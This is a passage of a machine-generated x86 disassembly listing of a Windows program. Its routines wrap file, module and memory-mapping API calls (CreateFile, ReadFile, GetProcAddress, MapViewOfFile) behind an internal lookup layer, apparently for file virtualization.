ds:dword_4E1718 ; GetModuleHandleA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4DAFBF xor dl, dl mov ecx, [ebp+arg_0] call sub_4D58CF mov [ebp+var_4], eax loc_4DAFBF: ; CODE XREF: sub_4DAF8C+24j mov eax, [ebp+var_4] locret_4DAFC2: ; CODE XREF: sub_4DAF8C+12j leave retn 4 sub_4DAF8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DAFC6 proc near ; DATA XREF: _6:004E1358o var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004DB062 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DEAB8 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 10h push ebx push esi push edi cmp [ebp+arg_0], 0 jnz short loc_4DAFFB push 0 call ds:dword_4E1718 ; GetModuleHandleA jmp short loc_4DB065 ; --------------------------------------------------------------------------- loc_4DAFFB: ; CODE XREF: sub_4DAFC6+29j and [ebp+var_1C], 0 and [ebp+var_20], 0 and [ebp+var_4], 0 push 104h call sub_4D835A pop ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] mov [ebp+var_20], eax xor eax, eax mov edi, [ebp+var_20] stosd push 0 push 0 push 104h push [ebp+var_20] push 0FFFFFFFFh push [ebp+arg_0] push 0 push 0 call ds:dword_4E17B8 ; WideCharToMultiByte push [ebp+var_20] call sub_4DAF8C mov [ebp+var_1C], eax or [ebp+var_4], 0FFFFFFFFh call sub_4DB052 jmp short loc_4DB062 sub_4DAFC6 endp ; =============== S U B R O U T I N E ======================================= sub_4DB052 proc near ; CODE XREF: sub_4DAFC6+85p ; DATA XREF: _5:004DEAC0o mov eax, [ebp-20h] mov [ebp-28h], eax push dword ptr [ebp-28h] call sub_4D83DD pop ecx retn sub_4DB052 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4DAFC6 loc_4DB062: ; CODE XREF: sub_4DAFC6+8Aj mov eax, [ebp+var_1C] loc_4DB065: ; CODE XREF: sub_4DAFC6+33j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 ; END OF FUNCTION CHUNK FOR sub_4DAFC6 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DB076 proc near ; CODE XREF: sub_40767D+71p ; sub_40767D+7Ep ... var_30 = dword ptr -30h var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 004DB179 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DEAC8 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_1C], 0 mov eax, [ebp+arg_4] shr eax, 10h movzx eax, ax test eax, eax jz short loc_4DB0C9 push offset aDllgetclassobj ; "DllGetClassObject" push [ebp+arg_4] call ds:dword_4E17C0 ; lstrcmpi test eax, eax jnz short loc_4DB0C9 mov ecx, [ebp+arg_0] call sub_4D5A41 loc_4DB0C9: ; CODE XREF: sub_4DB076+37j ; sub_4DB076+49j and [ebp+var_4], 0 push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4E1728 ; GetProcAddress mov [ebp+var_1C], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4DB0F9 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] and [ebp+var_30], 0 or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_30] jmp loc_4DB17C ; --------------------------------------------------------------------------- loc_4DB0F9: ; CODE XREF: sub_4DB076+6Aj cmp [ebp+var_1C], 0 jz short loc_4DB179 mov eax, ds:dword_4E60D4 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_4DB120 mov eax, [ebp+var_24] add eax, 10h push eax call ds:dword_4DE01C ; RtlEnterCriticalSection mov [ebp+var_28], 1 jmp short loc_4DB124 ; --------------------------------------------------------------------------- loc_4DB120: ; CODE XREF: sub_4DB076+95j and [ebp+var_28], 0 loc_4DB124: ; CODE XREF: sub_4DB076+A8j movzx eax, [ebp+var_28] test eax, eax jz short loc_4DB179 mov [ebp+var_4], 1 push [ebp+var_1C] mov ecx, ds:dword_4E60D4 call sub_4DB871 mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_4DB152 mov eax, [ebp+var_20] mov eax, [eax] mov [ebp+var_1C], eax loc_4DB152: ; CODE XREF: sub_4DB076+D2j or [ebp+var_4], 0FFFFFFFFh call sub_4DB15D jmp short loc_4DB179 sub_4DB076 endp ; =============== S U B R O U T I N E ======================================= sub_4DB15D proc near ; CODE XREF: sub_4DB076+E0p ; DATA XREF: _5:004DEADCo mov eax, ds:dword_4E60D4 mov [ebp-2Ch], eax cmp dword ptr [ebp-2Ch], 0 jz short locret_4DB178 mov eax, [ebp-2Ch] add eax, 10h push eax call ds:dword_4DE018 ; RtlLeaveCriticalSection locret_4DB178: ; CODE XREF: sub_4DB15D+Cj retn sub_4DB15D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4DB076 loc_4DB179: ; CODE XREF: sub_4DB076+87j ; sub_4DB076+B4j ... mov eax, [ebp+var_1C] loc_4DB17C: ; CODE XREF: sub_4DB076+7Ej mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 ; END OF FUNCTION CHUNK FOR sub_4DB076 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DB18D proc near ; CODE XREF: sub_40767D+170p ; DATA XREF: _1:off_4220B4o ... var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DEAE0 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_1C], 0 push [ebp+arg_0] call ds:dword_4E16E0 ; FreeLibrary jmp short loc_4DB1D9 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_24], 1 or [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_24] loc_4DB1D9: ; CODE XREF: sub_4DB18D+35j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_4DB18D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DB1EA proc near ; DATA XREF: _6:off_4E13D8o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 mov eax, [ebp+arg_14] and eax, 10h test eax, eax jz short loc_4DB216 cmp [ebp+arg_8], 0 jnz short loc_4DB216 lea eax, [ebp+var_4] push eax push [ebp+arg_4] call sub_4CF036 test eax, eax jnz short loc_4DB216 and [ebp+var_4], 0 loc_4DB216: ; CODE XREF: sub_4DB1EA+10j ; sub_4DB1EA+16j ... cmp [ebp+var_4], 0 jnz short loc_4DB237 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4E17CC ; LoadImageA mov [ebp+var_4], eax loc_4DB237: ; CODE XREF: sub_4DB1EA+30j mov eax, [ebp+var_4] leave retn 18h sub_4DB1EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DB23E proc near ; DATA XREF: _6:off_4E13C8o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push offset dword_4DE5C4 push offset aAddfontresou_0 ; "AddFontResourceA" call sub_4D9C22 pop ecx pop ecx mov [ebp+var_8], eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_4CF94C test eax, eax jnz short loc_4DB270 push [ebp+arg_0] call [ebp+var_8] mov [ebp+var_4], eax loc_4DB270: ; CODE XREF: sub_4DB23E+27j mov eax, [ebp+var_4] leave retn 4 sub_4DB23E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DB277 proc near ; DATA XREF: _6:004E13D0o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push offset dword_4DE5C4 push offset aRemovefontre_0 ; "RemoveFontResourceA" call sub_4D9C22 pop ecx pop ecx mov [ebp+var_8], eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_4CFD24 test eax, eax jnz short loc_4DB2A9 push [ebp+arg_0] call [ebp+var_8] mov [ebp+var_4], eax loc_4DB2A9: ; CODE XREF: sub_4DB277+27j mov eax, [ebp+var_4] leave retn 4 sub_4DB277 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DB2B0 proc near ; CODE XREF: sub_404716+1CBp ; sub_405053+25p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_14] and eax, 40000000h neg eax sbb eax, eax neg eax push eax lea eax, [ebp+var_4] push eax push [ebp+arg_10] push [ebp+arg_4] push [ebp+arg_0] call sub_4D0346 test eax, eax jnz short loc_4DB2F7 push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4E16A8 ; CreateFileA mov [ebp+var_4], eax loc_4DB2F7: ; CODE XREF: sub_4DB2B0+27j mov eax, [ebp+var_4] leave retn 1Ch sub_4DB2B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DB2FE proc near ; DATA XREF: _6:004E1260o var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h ; FUNCTION CHUNK AT 004DB3C1 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DEAF0 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 14h push ebx push esi push edi and [ebp+var_20], 0 or [ebp+var_1C], 0FFFFFFFFh and [ebp+var_4], 0 push 104h call sub_4D835A pop ecx mov [ebp+var_28], eax mov eax, [ebp+var_28] mov [ebp+var_20], eax xor eax, eax mov edi, [ebp+var_20] stosd push 0 push 0 push 104h push [ebp+var_20] push 0FFFFFFFFh push [ebp+arg_0] push 0 push 0 call ds:dword_4E17B8 ; WideCharToMultiByte mov [ebp+var_24], eax cmp [ebp+var_24], 103h ja short loc_4DB388 push 0 lea eax, [ebp+var_1C] push eax push [ebp+arg_10] push [ebp+arg_4] push [ebp+var_20] call sub_4D0346 test eax, eax jnz short loc_4DB3A6 loc_4DB388: ; CODE XREF: sub_4DB2FE+70j push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4E16AC ; CreateFileW mov [ebp+var_1C], eax loc_4DB3A6: ; CODE XREF: sub_4DB2FE+88j or [ebp+var_4], 0FFFFFFFFh call sub_4DB3B1 jmp short loc_4DB3C1 sub_4DB2FE endp ; =============== S U B R O U T I N E ======================================= sub_4DB3B1 proc near ; CODE XREF: sub_4DB2FE+ACp ; DATA XREF: _5:004DEAF8o mov eax, [ebp-20h] mov [ebp-2Ch], eax push dword ptr [ebp-2Ch] call sub_4D83DD pop ecx retn sub_4DB3B1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4DB2FE loc_4DB3C1: ; CODE XREF: sub_4DB2FE+B1j mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 1Ch ; END OF FUNCTION CHUNK FOR sub_4DB2FE ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DB3D5 proc near ; CODE XREF: sub_404716+202p ; sub_405053+B2p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_4D0741 test eax, eax jnz short loc_4DB3F5 push [ebp+arg_0] call ds:dword_4E16A4 ; CloseHandle mov [ebp+var_4], eax loc_4DB3F5: ; CODE XREF: sub_4DB3D5+12j mov eax, [ebp+var_4] leave retn 4 sub_4DB3D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DB3FC proc near ; CODE XREF: sub_405053+80p ; sub_409A5D+BBp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4D1177 test eax, eax jnz short loc_4DB436 push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4E177C ; ReadFile mov [ebp+var_4], eax jmp short loc_4DB459 ; --------------------------------------------------------------------------- loc_4DB436: ; CODE XREF: sub_4DB3FC+1Ej cmp [ebp+arg_10], 0 jz short loc_4DB459 mov eax, [ebp+arg_10] cmp dword ptr [eax], 0 jnz short loc_4DB459 mov eax, [ebp+arg_10] cmp dword ptr [eax+10h], 0 jz short loc_4DB459 mov eax, [ebp+arg_10] push dword ptr [eax+10h] call ds:dword_4E1784 ; SetEvent loc_4DB459: ; CODE XREF: sub_4DB3FC+38j ; sub_4DB3FC+3Ej ... mov eax, [ebp+var_4] leave retn 14h sub_4DB3FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DB460 proc near ; CODE XREF: sub_405053+6Cp ; sub_40AB26+259p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4D0421 test eax, eax jnz short loc_4DB491 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4E1788 ; SetFilePointer mov [ebp+var_4], eax jmp short loc_4DB49D ; --------------------------------------------------------------------------- loc_4DB491: ; CODE XREF: sub_4DB460+18j cmp [ebp+arg_8], 0 jz short loc_4DB49D mov eax, [ebp+arg_8] and dword ptr [eax], 0 loc_4DB49D: ; CODE XREF: sub_4DB460+2Fj ; sub_4DB460+35j mov eax, [ebp+var_4] leave retn 10h sub_4DB460 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DB4A4 proc near ; CODE XREF: sub_409140+25p ; DATA XREF: _1:off_4220F8o ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_4DB4BE lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_4D0216 test eax, eax jnz short loc_4DB4D9 loc_4DB4BE: ; CODE XREF: sub_4DB4A4+8j push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4E16B0 ; CreateFileMappingA mov [ebp+var_4], eax loc_4DB4D9: ; CODE XREF: sub_4DB4A4+18j mov eax, [ebp+var_4] leave retn 18h sub_4DB4A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DB4E0 proc near ; DATA XREF: _6:004E12B0o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_4DB4FA lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_4D0216 test eax, eax jnz short loc_4DB515 loc_4DB4FA: ; CODE XREF: sub_4DB4E0+8j push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4E16B4 ; CreateFileMappingW mov [ebp+var_4], eax loc_4DB515: ; CODE XREF: sub_4DB4E0+18j mov eax, [ebp+var_4] leave retn 18h sub_4DB4E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DB51C proc near ; CODE XREF: sub_409140+36p ; DATA XREF: _1:off_4220F4o ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4CFFBF test eax, eax jnz short loc_4DB554 push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4E176C ; MapViewOfFile mov [ebp+var_4], eax loc_4DB554: ; CODE XREF: sub_4DB51C+1Ej mov eax, [ebp+var_4] leave retn 14h sub_4DB51C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DB55B proc near ; CODE XREF: sub_409140+69p ; DATA XREF: _1:off_4220F0o ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_4CFECD test eax, eax jnz short loc_4DB57B push [ebp+arg_0] call ds:dword_4E17A0 ; UnmapViewOfFile mov [ebp+var_4], eax loc_4DB57B: ; CODE XREF: sub_4DB55B+12j mov eax, [ebp+var_4] leave retn 4 sub_4DB55B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DB582 proc near ; DATA XREF: _6:004E1328o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 lea eax, [ebp+var_4] push eax push 0 push 0 push [ebp+arg_0] call sub_4D0346 test eax, eax jz short loc_4DB610 cmp [ebp+arg_4], 0 jz short loc_4DB60B mov eax, [ebp+arg_4] movzx eax, byte ptr [eax] cmp eax, 88h jnz short loc_4DB60B mov eax, [ebp+arg_4] mov byte ptr [eax+1], 1 mov eax, [ebp+arg_4] and word ptr [eax+2], 0 mov edi, [ebp+arg_0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_8], ecx cmp [ebp+var_8], 7Fh jnb short loc_4DB5E0 mov eax, [ebp+var_8] mov [ebp+var_10], eax jmp short loc_4DB5E7 ; --------------------------------------------------------------------------- loc_4DB5E0: ; CODE XREF: sub_4DB582+54j mov [ebp+var_10], 7Fh loc_4DB5E7: ; CODE XREF: sub_4DB582+5Cj mov ecx, [ebp+var_10] mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] add edi, 8 mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+arg_4] and byte ptr [eax+87h], 0 loc_4DB60B: ; CODE XREF: sub_4DB582+22j ; sub_4DB582+2Fj mov eax, [ebp+var_4] jmp short loc_4DB630 ; --------------------------------------------------------------------------- loc_4DB610: ; CODE XREF: sub_4DB582+1Cj push offset dword_4DE5B4 push offset aOpenfile ; "OpenFile" call sub_4D9C22 pop ecx pop ecx mov [ebp+var_C], eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_C] loc_4DB630: ; CODE XREF: sub_4DB582+8Cj pop edi pop esi leave retn 0Ch sub_4DB582 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DB636 proc near ; DATA XREF: _6:004E1330o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push 0 lea eax, [ebp+var_4] push eax push 0 push 0 push [ebp+arg_0] call sub_4D0346 test eax, eax jz short loc_4DB656 mov eax, [ebp+var_4] jmp short locret_4DB673 ; --------------------------------------------------------------------------- loc_4DB656: ; CODE XREF: sub_4DB636+19j push offset dword_4DE5B4 push offset a_lopen ; "_lopen" call sub_4D9C22 pop ecx pop ecx mov [ebp+var_8], eax push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_8] locret_4DB673: ; CODE XREF: sub_4DB636+1Ej leave retn 8 sub_4DB636 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DB677 proc near ; DATA XREF: _6:004E1338o var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx movzx eax, ds:byte_4E60E4 and eax, 1 test eax, eax jnz short loc_4DB6AB mov al, ds:byte_4E60E4 or al, 1 mov ds:byte_4E60E4, al push offset dword_4DE5B4 push offset a_lclose ; "_lclose" call sub_4D9C22 pop ecx pop ecx mov ds:dword_4E60E0, eax loc_4DB6AB: ; CODE XREF: sub_4DB677+10j lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_4D0741 test eax, eax jnz short loc_4DB6C6 push [ebp+arg_0] call ds:dword_4E60E0 jmp short locret_4DB6C8 ; --------------------------------------------------------------------------- loc_4DB6C6: ; CODE XREF: sub_4DB677+42j xor eax, eax locret_4DB6C8: ; CODE XREF: sub_4DB677+4Dj leave retn 4 sub_4DB677 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DB6CC proc near ; DATA XREF: _6:004E1348o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx lea eax, [ebp+var_4] push eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4D0421 test eax, eax jnz short loc_4DB70A push offset dword_4DE5B4 push offset a_llseek ; "_llseek" call sub_4D9C22 pop ecx pop ecx mov [ebp+var_8], eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_8] mov [ebp+var_4], eax loc_4DB70A: ; CODE XREF: sub_4DB6CC+19j mov eax, [ebp+var_4] leave retn 0Ch sub_4DB6CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DB711 proc near ; DATA XREF: _6:004E1340o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h lea eax, [ebp+var_4] push eax push 0 lea eax, [ebp+var_8] push eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4D1177 test eax, eax jnz short loc_4DB763 push offset dword_4DE5B4 push offset a_lread ; "_lread" call sub_4D9C22 pop ecx pop ecx mov [ebp+var_C], eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_C] mov [ebp+var_8], eax cmp [ebp+var_8], 0FFFFFFFFh jz short loc_4DB763 mov [ebp+var_4], 1 loc_4DB763: ; CODE XREF: sub_4DB711+20j ; sub_4DB711+49j cmp [ebp+var_4], 0 jnz short loc_4DB76F or [ebp+var_10], 0FFFFFFFFh jmp short loc_4DB775 ; --------------------------------------------------------------------------- loc_4DB76F: ; CODE XREF: sub_4DB711+56j mov eax, [ebp+var_8] mov [ebp+var_10], eax loc_4DB775: ; CODE XREF: sub_4DB711+5Cj mov eax, [ebp+var_10] leave retn 0Ch sub_4DB711 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DB77C proc near ; CODE XREF: sub_4D2DD0+6C7p ; sub_4D2DD0+70Dp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov ecx, [ebp+arg_0] mov [eax], ecx mov eax, [ebp+var_8] and dword ptr [eax+0Ch], 0 mov eax, [ebp+arg_0] shl eax, 2 push eax call sub_4D835A pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_8] mov ecx, [ebp+var_4] mov [eax+8], ecx mov eax, [ebp+var_8] add eax, 10h push eax call ds:dword_4E174C ; InitializeCriticalSection mov eax, [ebp+var_8] leave retn 4 sub_4DB77C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DB7C0 proc near ; CODE XREF: sub_4DB82A+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov [ebp+var_14], ecx and [ebp+var_4], 0 jmp short loc_4DB7D6 ; --------------------------------------------------------------------------- loc_4DB7CF: ; CODE XREF: sub_4DB7C0:loc_4DB824j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4DB7D6: ; CODE XREF: sub_4DB7C0+Dj mov eax, [ebp+var_14] mov ecx, [ebp+var_4] cmp ecx, [eax] jnb short locret_4DB826 mov eax, [ebp+var_14] mov eax, [eax+8] mov ecx, [ebp+var_4] mov eax, [eax+ecx*4] mov [ebp+var_8], eax loc_4DB7EF: ; CODE XREF: sub_4DB7C0+62j cmp [ebp+var_8], 0 jz short loc_4DB824 cmp [ebp+arg_0], 0 jz short loc_4DB804 mov eax, [ebp+var_8] push dword ptr [eax] call [ebp+arg_0] pop ecx loc_4DB804: ; CODE XREF: sub_4DB7C0+39j mov eax, [ebp+var_8] mov [ebp+var_C], eax mov eax, [ebp+var_8] mov eax, [eax+8] mov [ebp+var_8], eax mov eax, [ebp+var_C] mov [ebp+var_10], eax push [ebp+var_10] call sub_4D83DD pop ecx jmp short loc_4DB7EF ; --------------------------------------------------------------------------- loc_4DB824: ; CODE XREF: sub_4DB7C0+33j jmp short loc_4DB7CF ; --------------------------------------------------------------------------- locret_4DB826: ; CODE XREF: sub_4DB7C0+1Ej leave retn 4 sub_4DB7C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DB82A proc near ; CODE XREF: sub_4D5070+51p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx mov [ebp+var_8], ecx push 0 mov ecx, [ebp+var_8] call sub_4DB7C0 mov eax, [ebp+var_8] mov eax, [eax+8] mov [ebp+var_4], eax push [ebp+var_4] call sub_4D83DD pop ecx mov eax, [ebp+var_8] add eax, 10h push eax call ds:dword_4E1750 ; RtlDeleteCriticalSection leave retn sub_4DB82A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DB85D proc near ; DATA XREF: sub_4DB871+Co ; sub_4DB8E0+Co ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] xor ecx, ecx cmp eax, [ebp+arg_4] setnz cl mov eax, ecx pop ebp retn 8 sub_4DB85D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DB871 proc near ; CODE XREF: sub_4CF036+94p ; sub_4CF6DE+63p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push offset sub_4DBAFE push offset sub_4DB85D push [ebp+arg_0] mov ecx, [ebp+var_4] call sub_4DB891 leave retn 4 sub_4DB871 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DB891 proc near ; CODE XREF: sub_4D58CF+20p ; sub_4DB871+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov [ebp+var_8], ecx mov eax, [ebp+var_8] push dword ptr [eax] push [ebp+arg_0] call [ebp+arg_8] pop ecx pop ecx mov ecx, [ebp+var_8] mov ecx, [ecx+8] mov eax, [ecx+eax*4] mov [ebp+var_4], eax loc_4DB8B2: ; CODE XREF: sub_4DB891+47j cmp [ebp+var_4], 0 jz short loc_4DB8DA push [ebp+arg_0] mov eax, [ebp+var_4] push dword ptr [eax+4] call [ebp+arg_4] test eax, eax jnz short loc_4DB8CF mov eax, [ebp+var_4] mov eax, [eax] jmp short locret_4DB8DC ; 